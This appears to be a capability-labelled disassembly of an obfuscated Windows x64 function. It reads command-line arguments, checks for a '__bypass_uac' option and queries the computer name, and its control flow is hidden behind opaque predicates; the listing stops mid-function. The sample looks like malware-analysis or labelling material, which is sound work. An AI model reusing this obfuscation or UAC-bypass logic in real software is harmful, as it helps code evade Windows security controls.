Function at 0x140001010
Capabilities:
Accept command line arguments
Get hostname

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x218
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x180], xmm6
mov qword [rbp + 0x178], 0xfffffffffffffffe
cmp ecx, 1
jg 0x140001082
mov ecx, dword [0x14003ce78]
mov eax, dword [0x14003ce7c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
test ecx, ecx
setne cl
sete bl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, bl
jne 0x140001102
or dl, cl
je 0x140001102
nop
jmp 0x140001080
mov rdi, rdx
mov r12d, ecx
xorps xmm0, xmm0
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x30], xmm0
lea rsi, [rbp + 0x30]
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x28], 0xf
lea r8, section..data
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, qword [rdi + 8]
mov rcx, rsi
call fcn.14001e844
test eax, eax
je 0x14000111f
mov edx, dword [0x14003ce78]
mov eax, dword [0x14003ce7c]
lea ecx, [rdx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
not ecx
sete dl
cmp eax, 0xa
setl bl
test bl, dl
jne 0x14000105b
xor bl, dl
jne 0x14000105b
jmp 0x140001100
xor eax, eax
movaps xmm6, xmmword [rbp + 0x180]
add rsp, 0x218
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp r12d, 2
jne 0x14000120d
mov qword [rbp + 0xb0], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
lea rsi, [rbp + 0xb0]
mov rcx, rsi
call fcn.14000da80
lea rdx, [0x14003c010]
mov rcx, rsi
call fcn.14000dd40
mov qword [rbp + 0x130], rsi
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0xf0], rax
mov eax, dword [0x14003ce80]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x14003ce84], 0xa
setl cl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov r15d, 0x6ca9498f
mov eax, 0x35965143
cmove r15d, eax
mov esi, 0xa697ef12
cmove esi, eax
mov eax, dword [0x14003ce88]
mov r14d, dword [0x14003ce8c]
lea ebx, [rax - 1]
imul ebx, eax
not ebx
or ebx, 0xfffffffe
cmp ebx, 0xffffffff
not ebx
sete al
mov edx, 0x3052c59a
mov edi, 0x99c7aca7
cmove edi, edx
mov r8d, 0x99c7aca7
cmp r14d, 0xa
cmovge edi, r8d
setl cl
xor cl, al
cmovne edi, edx
mov eax, 0x1ab2b433
mov r11, qword [rbp + 0xc8]
mov r9d, 0x1830f636
mov r10d, 0x1b8541aa
jmp 0x140001260
mov eax, dword [0x14003ce78]
mov edx, dword [0x14003ce7c]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
sete bl
cmp edx, 9
setg cl
cmp edx, 0xa
setl dl
xor dl, bl
jne 0x140001461
or cl, al
je 0x140001461
nop dword [rax]
jmp 0x140001250
mov eax, r15d
nop word cs:[rax + rax]
nop
cmp eax, 0x1b8541a9
jle 0x140001290
cmp eax, 0x1b8541aa
je 0x14000133f
cmp eax, 0x35965143
je 0x14000136f
cmp eax, 0x6ca9498f
jne 0x140001260
jmp 0x140001387
cmp eax, 0xa697ef12
je 0x140001252
cmp eax, 0x505bccb
je 0x140001379
cmp eax, 0x1ab2b433
jne 0x140001260
test ebx, ebx
sete byte [rbp + 0x88]
cmp r14d, 0xa
setl byte [rbp + 0x110]
mov eax, 0xcd4cbb23
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x1830f635
jle 0x1400012f0
cmp eax, 0x1830f636
je 0x140001329
cmp eax, 0x3052c59a
jne 0x1400012d0
jmp 0x140001353
cmp eax, 0x99c7aca7
je 0x140001338
cmp eax, 0xcd4cbb23
jne 0x1400012d0
movzx ecx, byte [rbp + 0x88]
movzx eax, byte [rbp + 0x110]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x99c7aca7
cmovne eax, r9d
test cl, cl
cmove eax, r8d
test dl, dl
cmovne eax, r9d
jmp 0x1400012d0
cmp r11, 0xf
seta byte [rbp + 0x150]
mov eax, edi
jmp 0x1400012d0
mov eax, 0x1830f636
jmp 0x1400012d0
mov rax, qword [rbp + 0x130]
mov rdx, qword [rax]
mov eax, 0x505bccb
jmp 0x140001260
cmp byte [rbp + 0x150], 0
mov eax, 0x505bccb
cmovne eax, r10d
mov rdx, qword [rbp + 0xf0]
jmp 0x140001260
mov eax, 0xa697ef12
jmp 0x140001260
mov qword [rbp + 0xd0], rdx
mov eax, esi
jmp 0x140001260
mov rcx, qword [rbp + 0xd0]
call fcn.1400034d0
lea rcx, [rbp + 0xb0]
call fcn.14000cd00
mov eax, dword [0x14003ce90]
mov edi, dword [0x14003ce94]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete bl
cmp edi, 0xa
setl dl
xor dl, bl
mov ebx, 0x2a1b740b
mov edx, 0x9d89b1c3
cmovne edx, ebx
test eax, ecx
sete byte [rbp + 0xf0]
mov esi, 0x9d89b1c3
cmovne ebx, edx
cmp edi, 0xa
setl byte [rbp + 0xd0]
cmovge ebx, edx
mov eax, 0x7039708f
mov edi, 0xa93c2f09
nop dword [rax + rax]
cmp eax, 0x2a1b740a
jg 0x140001420
cmp eax, 0x9d89b1c3
je 0x14000145a
cmp eax, 0xa93c2f09
jne 0x140001400
mov eax, ebx
jmp 0x140001400
cmp eax, 0x2a1b740b
je 0x1400010cb
cmp eax, 0x7039708f
jne 0x140001400
movzx edx, byte [rbp + 0xf0]
movzx eax, byte [rbp + 0xd0]
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x9d89b1c3
cmovne eax, edi
test dl, dl
cmove eax, esi
test cl, cl
cmovne eax, edi
jmp 0x140001400
mov eax, 0xa93c2f09
jmp 0x140001400
cmp r12d, 3
jg 0x140001502
lea rcx, [0x14003c160]
call fcn.1400034d0
mov eax, dword [0x14003ce78]
mov ecx, dword [0x14003ce7c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
setne al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
cmp bl, dl
jne 0x1400010cb
or cl, al
je 0x1400010cb
lea rsi, [0x14003c160]
nop dword [rax]
mov rcx, rsi
call fcn.1400034d0
mov rcx, rsi
call fcn.1400034d0
mov eax, dword [0x14003ce78]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x14003ce7c], 0xa
setl cl
test cl, al
jne 0x1400010cb
xor cl, al
je 0x1400014c0
jmp 0x1400010cb
lea rcx, [rbp + 0xb0]
call fcn.140010d80
movaps xmm6, xmmword [0x14002f060]
movups xmmword [rbp + 0xc0], xmm6
mov word [rbp + 0xb0], 0
lea rcx, [rbp + 0xd0]
call fcn.140010d80
movups xmmword [rbp + 0xe0], xmm6
mov word [rbp + 0xd0], 0
lea rcx, [rbp + 0xf0]
call fcn.140010d80
movups xmmword [rbp + 0x100], xmm6
mov word [rbp + 0xf0], 0
mov rsi, qword [rdi + 0x10]
lea r14, [rbp + 0x58]
mov rcx, r14
call fcn.140010d80
movups xmmword [rbp + 0x68], xmm6
mov word [rbp + 0x58], 0
mov rcx, r14
mov rdx, rsi
call fcn.140012af0
mov eax, dword [0x14003ce98]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x14003ce9c], 0xa
setl cl
test cl, al
jne 0x1400015b2
xor cl, al
jne 0x1400015b2
nop dword [rax + rax]
jmp 0x1400015b0
lea rcx, [rbp + 0x58]
lea rdx, [rbp + 0xb0]
lea r8, [rbp + 0xd0]
lea r9, [rbp + 0xf0]
call fcn.1400038c0
mov ecx, dword [0x14003ce78]
mov edx, dword [0x14003ce7c]
lea ebx, [rcx - 1]
imul ebx, ecx
not ebx
or ebx, 0xfffffffe
cmp ebx, 0xffffffff
sete bl
setne r8b
cmp edx, 0xa
setl cl
cmp edx, 9
setg dl
cmp cl, bl
jne 0x140001612
or dl, r8b
je 0x140001612
nop word cs:[rax + rax]
jmp 0x140001610
test al, al
je 0x14000178e
mov rdx, qword [rdi + 0x18]
lea rcx, str.__bypass_uac
call fcn.14001e844
mov ebx, eax
xor esi, esi
test eax, eax
sete sil
lea r13d, [rsi + 3]
mov rcx, qword [rdi + r13*8]
call fcn.140003ff0
test al, al
je 0x140001823
mov dword [rbp + 0xac], ebx
mov qword [rbp + 0x80], rsi
mov rcx, qword [rdi + r13*8]
call fcn.140004100
mov ebx, eax
lea rcx, [rbp + 0x130]
call fcn.140010d80
movups xmmword [rbp + 0x140], xmm6
mov word [rbp + 0x130], 0
mov byte [rbp + 0x175], bl
test bl, bl
je 0x140001863
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov r14, rax
mov rsi, qword [rdi + r13*8]
mov eax, dword [0x14003cea0]
mov ecx, dword [0x14003cea4]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x88]
cmp ecx, 0xa
setl byte [rbp + 0x110]
mov eax, 0x419ec844
mov r15d, 0xbb84cac5
mov ebx, 0xc2dce9fa
cmp eax, 0xd2b47f4f
jg 0x1400016ec
cmp eax, 0xbb84cac5
je 0x14000172d
cmp eax, 0xc2dce9fa
jne 0x1400016d2
jmp 0x140001875
cmp eax, 0xd2b47f50
je 0x140001779
cmp eax, 0x419ec844
jne 0x1400016d2
movzx ecx, byte [rbp + 0x88]
movzx eax, byte [rbp + 0x110]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xd2b47f50
cmovne eax, r15d
test cl, cl
mov ecx, 0xd2b47f50
cmove eax, ecx
test dl, dl
cmovne eax, r15d
jmp 0x1400016d2
mov rcx, r14
mov rdx, rsi
call fcn.140019920
mov qword [rbp + 0x150], rax
mov eax, dword [0x14003cea0]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xd2b47f50
cmove eax, ebx
cmp dword [0x14003cea4], 0xa
mov edx, 0xd2b47f50
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, ebx
jmp 0x1400016d2
mov rcx, r14
mov rdx, rsi
call fcn.140019920
mov eax, 0xbb84cac5
jmp 0x1400016d2
lea rcx, [0x14003c160]
call fcn.1400034d0
mov ecx, dword [0x14003ce78]
mov eax, dword [0x14003ce7c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
setne r8b
sete r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl dl
xor dl, r9b
jne 0x140002554
or bl, r8b
je 0x140002554
lea rsi, [0x14003c160]
mov rcx, rsi
call fcn.1400034d0
mov rcx, rsi
call fcn.1400034d0
mov ecx, dword [0x14003ce78]
mov eax, dword [0x14003ce7c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
sete dl
cmp eax, 0xa
setl bl
test bl, dl
jne 0x140002554
xor bl, dl
je 0x1400017e0
jmp 0x140002554
mov eax, dword [0x14003ce78]
mov edx, dword [0x14003ce7c]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete bl
cmp edx, 9
setg cl
cmp edx, 0xa
setl dl
xor dl, bl
jne 0x14000250d
or cl, al
jne 0x140002546
jmp 0x14000250d
mov rdx, qword [rdi + r13*8]
lea rcx, [rbp + 0x130]
call fcn.140012af0
jmp 0x14000189e
mov rax, qword [rbp + 0x150]
test rax, rax
je 0x140001f72
lea rdx, [rax - 2]
cmp word [rax - 2], 0x22
cmovne rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140012af0
cmp qword [rbp + 0x140], 0
je 0x140001e42
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x88]
cmp ecx, 0xa
setl byte [rbp + 0x110]
mov eax, 0x92849ca1
mov r14d, 0x9dbee1ec
mov ebx, 0x68a758c4
lea rsi, [rbp + 0xb0]
mov edi, 0x8233e087
cmp eax, 0x9dbee1eb
jg 0x140001936
cmp eax, 0x8233e087
je 0x140001997
cmp eax, 0x92849ca1
jne 0x1400018f3
movzx ecx, byte [rbp + 0x88]
movzx eax, byte [rbp + 0x110]
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x68a758c4
cmovne eax, r14d
test cl, cl
cmove eax, ebx
test dl, dl
cmovne eax, r14d
jmp 0x1400018f3
cmp eax, 0x9dbee1ec
je 0x140001953
cmp eax, 0x68a758c4
jne 0x1400018f3
mov rcx, rsi
call fcn.140010b00
mov eax, 0x9dbee1ec
jmp 0x1400018f3
mov rcx, rsi
call fcn.140010b00
mov qword [rbp + 0x150], rax
mov eax, dword [0x14003cea8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x68a758c4
cmove eax, edi
cmp dword [0x14003ceac], 0xa
cmovge eax, ebx
setl dl
xor dl, cl
cmovne eax, edi
jmp 0x1400018f3
mov rdx, qword [rbp + 0x150]
lea rcx, [0x14003c1a0]
call fcn.1400034d0
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x88]
cmp ecx, 0xa
setl byte [rbp + 0x110]
mov ecx, 0x92849ca1
mov r15d, 0x9dbee1ec
mov r14d, 0x68a758c4
lea rsi, [rbp + 0xd0]
mov r12d, 0x8233e087
cmp ecx, 0x9dbee1eb
jg 0x140001a3a
cmp ecx, 0x8233e087
je 0x140001aaa
cmp ecx, 0x92849ca1
jne 0x1400019f3
movzx eax, byte [rbp + 0x88]
movzx ecx, byte [rbp + 0x110]
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x68a758c4
cmovne ecx, r15d
test al, al
cmove ecx, r14d
test dl, dl
cmovne ecx, r15d
jmp 0x1400019f3
cmp ecx, 0x9dbee1ec
je 0x140001a59
cmp ecx, 0x68a758c4
jne 0x1400019f3
mov rcx, rsi
call fcn.140010b00
mov ecx, 0x9dbee1ec
jmp 0x1400019f3
mov rcx, rsi
call fcn.140010b00
mov ecx, dword [0x14003cea8]
mov edx, dword [0x14003ceac]
lea edi, [rcx - 1]
imul edi, ecx
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete cl
cmp edx, 0xa
setl bl
xor bl, cl
mov ebx, 0x68a758c4
cmovne ebx, r12d
cmp edi, 0xffffffff
mov ecx, ebx
cmove ecx, r12d
cmp edx, 0xa
mov qword [rbp + 0x150], rax
cmovge ecx, ebx
jmp 0x1400019f3
mov rdx, qword [rbp + 0x150]
lea rcx, [0x14003c1c0]
call fcn.1400034d0
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x88]
cmp ecx, 0xa
setl byte [rbp + 0x110]
mov ecx, 0x92849ca1
mov r15d, 0x9dbee1ec
mov r14d, 0x68a758c4
lea rsi, [rbp + 0xf0]
mov r12d, 0x8233e087
cmp ecx, 0x9dbee1eb
jg 0x140001b4d
cmp ecx, 0x8233e087
je 0x140001bbd
cmp ecx, 0x92849ca1
jne 0x140001b06
movzx eax, byte [rbp + 0x88]
movzx ecx, byte [rbp + 0x110]
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x68a758c4
cmovne ecx, r15d
test al, al
cmove ecx, r14d
test dl, dl
cmovne ecx, r15d
jmp 0x140001b06
cmp ecx, 0x9dbee1ec
je 0x140001b6c
cmp ecx, 0x68a758c4
jne 0x140001b06
mov rcx, rsi
call fcn.140010b00
mov ecx, 0x9dbee1ec
jmp 0x140001b06
mov rcx, rsi
call fcn.140010b00
mov ecx, dword [0x14003cea8]
mov edx, dword [0x14003ceac]
lea edi, [rcx - 1]
imul edi, ecx
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete cl
cmp edx, 0xa
setl bl
xor bl, cl
mov ebx, 0x68a758c4
cmovne ebx, r12d
cmp edi, 0xffffffff
mov ecx, ebx
cmove ecx, r12d
cmp edx, 0xa
mov qword [rbp + 0x150], rax
cmovge ecx, ebx
jmp 0x140001b06
mov rdx, qword [rbp + 0x150]
lea rcx, [0x14003c1e0]
call fcn.1400034d0
mov eax, dword [0x14003cea8]
mov ecx, dword [0x14003ceac]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x88]
cmp ecx, 0xa
setl byte [rbp + 0x110]
mov ecx, 0x92849ca1
mov r15d, 0x9dbee1ec
mov r14d, 0x68a758c4
lea rsi, [rbp + 0x130]
mov r12d, 0x8233e087
cmp ecx, 0x9dbee1eb
jg 0x140001c60
cmp ecx, 0x8233e087
je 0x140001cd0
cmp ecx, 0x92849ca1
jne 0x140001c19
movzx eax, byte [rbp + 0x88]
movzx ecx, byte [rbp + 0x110]
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x68a758c4
cmovne ecx, r15d
test al, al
cmove ecx, r14d
test dl, dl
cmovne ecx, r15d
jmp 0x140001c19
cmp ecx, 0x9dbee1ec
je 0x140001c7f
cmp ecx, 0x68a758c4
jne 0x140001c19
mov rcx, rsi
call fcn.140010b00
mov ecx, 0x9dbee1ec
jmp 0x140001c19
mov rcx, rsi
call fcn.140010b00
mov ecx, dword [0x14003cea8]
mov edx, dword [0x14003ceac]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
xor ecx, 0xfffffffe
test ecx, edi
sete r8b
cmp edx, 0xa
setl bl
xor bl, r8b
mov ebx, 0x68a758c4
cmovne ebx, r12d
test ecx, edi
mov ecx, ebx
cmove ecx, r12d
cmp edx, 0xa
mov qword [rbp + 0x150], rax
cmovge ecx, ebx
jmp 0x140001c19
mov rdx, qword [rbp + 0x150]
lea rcx, str.H9N3Prw_3336_
call fcn.1400034d0
cmp dword [rbp + 0xac], 0
lea rax, [0x14003c213]
lea rdx, [0x14003c218]
cmove rdx, rax
lea rcx, str.W___
call fcn.1400034d0
lea rdx, [0x1400354dc]
lea rcx, [rbp + 0xb0]
call fcn.140014390
test al, al
je 0x140001de2
mov dword [rbp + 0x150], 0
lea rdx, [rbp + 0x150]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x140001dad
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6f
jne 0x140001dad
mov eax, dword [rbp + 0x150]
lea rcx, [rax + rax]
xor edi, edi
cmp rax, 1
sbb rdi, rdi
or rdi, rcx
mov rcx, rdi
call fcn.14001772c
mov rsi, rax
mov word [rax], 0
mov rcx, rax
add rcx, 2
add rdi, 0xfffffffffffffffe
xor edx, edx
mov r8, rdi
call fcn.140019790
lea rdx, [rbp + 0x150]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rbp + 0xb0]
mov rdx, rsi
call fcn.140012af0
mov rcx, rsi
call fcn.1400176f8
mov eax, dword [0x14003ce78]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x14003ce7c], 0xa
setl cl
test cl, al
jne 0x140001de2
xor cl, al
jne 0x140001de2
nop word cs:[rax + rax]
jmp 0x140001de0
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x130]
call fcn.1400072b0
lea rcx, [rbp - 0x10]
lea rdx, [rbp + 0xf0]
call fcn.1400072b0
mov eax, dword [0x14003ce78]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x14003ce7c], 0xa
setl cl
test cl, al
jne 0x140001f25
xor cl, al
jne 0x140001f25
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x140001e40
lea rcx, [0x14003c160]
call fcn.1400034d0
lea rcx, [rbp + 0x130]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov edi, dword [0x14003ceb4]
lea edx, [rax - 1]
imul edx, eax
mov ebx, edx
xor ebx, 0xfffffffe
test ebx, edx
sete al
cmp edi, 0xa
setl cl
xor cl, al
mov eax, 0x6c17b9e2
mov ecx, 0x5d4c34f0
cmovne ecx, eax
test ebx, edx
sete byte [rbp + 0x110]
cmovne eax, ecx
cmp edi, 0xa
setl byte [rbp + 0x150]
cmovge eax, ecx
mov edx, 0x96a35fd2
mov edi, 0xa57c99fb
cmp edx, 0x5d4c34ef
jle 0x140001ec8
cmp edx, 0x5d4c34f0
je 0x140001edc
cmp edx, 0x6c17b9e2
jne 0x140001eae
jmp 0x140001f0b
cmp edx, 0x96a35fd2
je 0x140001ee3
cmp edx, 0xa57c99fb
jne 0x140001eae
mov edx, eax
jmp 0x140001eae
mov edx, 0xa57c99fb
jmp 0x140001eae
movzx ecx, byte [rbp + 0x110]
movzx edx, byte [rbp + 0x150]
mov ebx, ecx
xor bl, dl
mov ebx, 0x5d4c34f0
cmovne ebx, edi
test dl, dl
mov edx, ebx
cmovne edx, edi
test cl, cl
cmove edx, ebx
jmp 0x140001eae
mov edx, dword [0x14003ce78]
mov eax, dword [0x14003ce7c]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
jmp 0x140002554
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0xb0]
call fcn.1400072b0
mov eax, dword [0x14003ce78]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x14003ce7c], 0xa
setl cl
test cl, al
jne 0x140002445
xor cl, al
jne 0x140002445
nop word cs:[rax + rax]
jmp 0x140001f70
lea r15, [rbp + 0x88]
lea r14, [rbp + 0x130]
jmp 0x140001f86
add r13d, 1
cmp r13d, r12d
jge 0x14000189e
mov eax, r13d
mov rsi, qword [rdi + rax*8]
mov rcx, r15
mov rdx, r14
lea r8, [0x1400354e0]
call fcn.140004520
mov qword [rbp + 0x78], r13
mov rcx, rsi
call fcn.14001e87c
mov rcx, r15
mov rdx, rsi
mov r8, rax
call fcn.140015600
mov r15, rax
mov rcx, rax
call fcn.14000d820
mov ecx, dword [0x14003ceb8]
mov edx, dword [0x14003cebc]
lea esi, [rcx - 1]
imul esi, ecx
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete cl
cmp edx, 0xa
setl bl
xor bl, cl
mov ecx, 0x7f92c26e
mov ebx, 0xc23775b3
cmovne ecx, ebx
cmp esi, 0xffffffff
sete byte [rbp + 0x110]
mov esi, ecx
cmove esi, ebx
cmp edx, 0xa
setl byte [rbp + 0x150]
cmovge esi, ecx
mov edx, 0x92ee0258
cmp edx, 0xf7d42e5e
jg 0x14000203a
cmp edx, 0x92ee0258
je 0x140002051
cmp edx, 0xc23775b3
jne 0x140002020
jmp 0x14000208a
cmp edx, 0xf7d42e5f
je 0x140002086
cmp edx, 0x7f92c26e
jne 0x140002020
mov edx, 0xf7d42e5f
jmp 0x140002020
movzx ecx, byte [rbp + 0x110]
movzx edx, byte [rbp + 0x150]
mov ebx, edx
xor bl, cl
test dl, dl
mov edx, 0x7f92c26e
mov r8d, 0xf7d42e5f
cmovne edx, r8d
test cl, cl
mov ecx, 0x7f92c26e
cmove edx, ecx
test bl, bl
cmovne edx, r8d
jmp 0x140002020
mov edx, esi
jmp 0x140002020
lea rsi, [rbp + 0x110]
mov rcx, rsi
mov r8, rax
call fcn.140013d10
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movaps xmmword [rbp + 0x110], xmm0
movaps xmmword [rbp + 0x120], xmm1
movups xmmword [r15 + 0x10], xmm6
mov word [r15], 0
mov r8d, 2
mov rcx, rsi
lea rdx, [0x1400354e4]
call fcn.140015600
mov r15, rax
mov rcx, rax
call fcn.14000d820
mov ecx, dword [0x14003ceb8]
mov edx, dword [0x14003cebc]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
xor ecx, 0xfffffffe
test ecx, ebx
sete byte [rbp + 0x177]
sete bl
mov ecx, 0x7f92c26e
mov r8d, 0xc23775b3
cmove ecx, r8d
cmp edx, 0xa
setl byte [rbp + 0x150]
setl dl
mov esi, 0x7f92c26e
cmovge ecx, esi
xor dl, bl
cmovne ecx, r8d
mov edx, 0x92ee0258
mov r13, qword [rbp + 0x78]
nop word cs:[rax + rax]
nop
cmp edx, 0xf7d42e5e
jg 0x14000215a
cmp edx, 0x92ee0258
je 0x140002171
cmp edx, 0xc23775b3
jne 0x140002140
jmp 0x1400021ad
cmp edx, 0xf7d42e5f
je 0x1400021a9
cmp edx, 0x7f92c26e
jne 0x140002140
mov edx, 0xf7d42e5f
jmp 0x140002140
movzx r8d, byte [rbp + 0x177]
movzx edx, byte [rbp + 0x150]
mov ebx, r8d
xor bl, dl
test dl, dl
mov edx, 0x7f92c26e
mov r9d, 0xf7d42e5f
cmovne edx, r9d
test r8b, r8b
mov esi, 0x7f92c26e
cmove edx, esi
test bl, bl
cmovne edx, r9d
jmp 0x140002140
mov edx, ecx
jmp 0x140002140
lea rsi, [rbp + 0x150]
mov rcx, rsi
mov r8, rax
call fcn.140013d10
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movaps xmmword [rbp + 0x150], xmm0
movaps xmmword [rbp + 0x160], xmm1
movups xmmword [r15 + 0x10], xmm6
mov word [r15], 0
mov rcx, r14
mov rdx, rsi
call fcn.140004990
mov rcx, rsi
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov esi, dword [0x14003ceb4]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp esi, 0xa
setl cl
xor cl, bl
mov ecx, 0x5d4c34f0
mov r14d, 0x6c17b9e2
cmovne ecx, r14d
test eax, edx
sete byte [rbp + 0x176]
mov eax, ecx
cmove eax, r14d
cmp esi, 0xa
setl byte [rbp + 0x177]
cmovge eax, ecx
mov ecx, 0x96a35fd2
mov esi, 0xa57c99fb
nop dword [rax]
cmp ecx, 0x5d4c34ef
jle 0x14000226a
cmp ecx, 0x5d4c34f0
je 0x14000227e
cmp ecx, 0x6c17b9e2
jne 0x140002250
jmp 0x1400022ad
cmp ecx, 0x96a35fd2
je 0x140002285
cmp ecx, 0xa57c99fb
jne 0x140002250
mov ecx, eax
jmp 0x140002250
mov ecx, 0xa57c99fb
jmp 0x140002250
movzx ebx, byte [rbp + 0x176]
movzx ecx, byte [rbp + 0x177]
mov edx, ebx
xor dl, cl
mov edx, 0x5d4c34f0
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, esi
test bl, bl
cmove ecx, edx
jmp 0x140002250
lea rcx, [rbp + 0x110]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov ecx, dword [0x14003ceb4]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x5d4c34f0
cmovne eax, r14d
cmp edx, 0xffffffff
sete byte [rbp + 0x176]
mov edx, eax
cmove edx, r14d
cmp ecx, 0xa
setl byte [rbp + 0x177]
cmovge edx, eax
mov ecx, 0x96a35fd2
nop dword [rax]
cmp ecx, 0x5d4c34ef
jle 0x14000232a
cmp ecx, 0x5d4c34f0
je 0x14000233e
cmp ecx, 0x6c17b9e2
jne 0x140002310
jmp 0x14000236d
cmp ecx, 0x96a35fd2
je 0x140002345
cmp ecx, 0xa57c99fb
jne 0x140002310
mov ecx, edx
jmp 0x140002310
mov ecx, 0xa57c99fb
jmp 0x140002310
movzx ebx, byte [rbp + 0x176]
movzx ecx, byte [rbp + 0x177]
mov eax, ebx
xor al, cl
mov eax, 0x5d4c34f0
cmovne eax, esi
test cl, cl
mov ecx, eax
cmovne ecx, esi
test bl, bl
cmove ecx, eax
jmp 0x140002310
lea r15, [rbp + 0x88]
mov rcx, r15
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov ecx, dword [0x14003ceb4]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x5d4c34f0
cmovne eax, r14d
cmp edx, 0xffffffff
sete byte [rbp + 0x176]
mov edx, eax
cmove edx, r14d
cmp ecx, 0xa
setl byte [rbp + 0x177]
cmovge edx, eax
mov ecx, 0x96a35fd2
lea r14, [rbp + 0x130]
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x5d4c34ef
jle 0x1400023fd
cmp ecx, 0x5d4c34f0
je 0x140002411
cmp ecx, 0x6c17b9e2
jne 0x1400023e0
jmp 0x140001f82
cmp ecx, 0x96a35fd2
je 0x140002418
cmp ecx, 0xa57c99fb
jne 0x1400023e0
mov ecx, edx
